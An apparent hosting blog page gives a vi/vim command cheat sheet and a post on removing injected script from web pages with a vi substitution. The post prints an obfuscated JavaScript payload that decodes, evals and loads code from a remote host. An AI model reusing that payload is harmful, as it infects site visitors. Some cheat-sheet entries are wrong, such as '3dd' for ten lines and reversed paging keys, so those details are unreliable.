Chapter 10 Editing files in Linux.

There are several tools available in Linux to edit a regular file. The most popular and user text file editor is VI, and VI Modified is called VIM.

file – use file command to know the file type
vi  is very hard to learn, but really powerful

Either learn VI or learn Unix :-

VI:- VI is a vey powerful text editor. The name vi is derived from the shortest unambiguous abbreviation for the command visual in ‘ex”; the command in question switches the line editor ex to visual mode.

The VI has three mode

  • Command Mode – simple one/two letter commands
  • Edit Mode – Allows to append and insert text
  • Ex Mode – allows to execute commands

Going back and forth modes requires to go to command modeby pressing escape.

Command Mode:-

Arrow keys – hjkl
w – moves cursor forward by a word
b – moves cursor backward by a word
0,$ – beginning and end of line
Ctrl + f , Ctrl + b – Page UP, Page Down
Home – gg
End – G
:25, 25G – to the 25th line
% – matching braces

1. Insertion

Insertion – I, i
Append – A, a
Insertion on a new line – O, o

2. Deletion

Delete a single character under cursor – x
Delete a single character left of cursor – X
Delete all the stuff from cursor to end of line – D
delete 10 words – 10dw , d10w
Replace a single character – r
Undo the last change – u
To repeat last command – .
To join two lines together – J

3. Search in command mode

Search for a word downwards – /word_to_search
Search for a word upwards – ?word_to_search
Repeat the previous search forward – n
Repeat the previous search backward – N

4. Search and Replace in ex mode

Change a single character – r
Replace mode by typing over – R
Search and replace first occurence of old_word with new_word in the entire file – :%s/old_word/new_word/
Search and replace first occurence in the current line – :s/search/replace/
Search and replace all occurences in the entire file – :%s/search/replace/g
Search and replace all occurences in current line – :s/search/replace/g
Search and replace the first occurence of old_word between n1 and n2 with new_word – :n1,n2s/old_word/new_word/
Search and replace all occurences of old_word between n1 and n2 with new_word – :n1,n2s/old_word/new_word/
Search and replace all occurences of old_word with new_word, but prompt for confirmation – :1,$s/old_word/new_word/gc

5. Cut/Copy/Paste

Cut the entire line – dd
Copy the entire line – yy
Cut the word from the current cursor position to its end – dw
Paste – p, P
Swap the adjacent lines – ddp
Cut 10 lines – 3dd

6. Exiting VI

Save in ex mode – :w
Exit in ex mode – :q
Forcefully save in ex mode = :w!
Forcefully exit in ex mode, when a change is made accidentally = :q!
Save and Exit in command mode – ZZ
Save and Exit in ex mode – :wq, :x
Save and Exit in ex mode forcefully : wq!

7. Advanced VI to ponder with

:map to map the new defined command to a sequence of commands or keystrokes
:map Ctrl+v_Ctrl+v_Space Ctrl+v_Ctrl+f means pressing space will enable page down.  Ctrl + v is to input a special character such as Esc.
Encryption – :X and disable encryption :set key=

So “Either learn VI or learn Unix” :)

Continue Reading

Matching and deleting patterns across multiple lines in vi

If you want to search and replace a pattern similar to below,

<script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --></script>

Those who are in web hosting industry may know what the above line means :D . Anyways you can use this, in the vi exec mode to remove the lines

:%s/<script\_p\{-}--><\/script>//g

It’s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.

Continue Reading

About this blog

This blog, acts as a knowledge repository for the world and is unofficial! Anything we find interesting in the cyber world will go here. Most cases, this blog will reflect the happiness of our staff in reaching successful solution to an issue (s)he worked on. A reference for other fellow SAGEs who come across similar issues later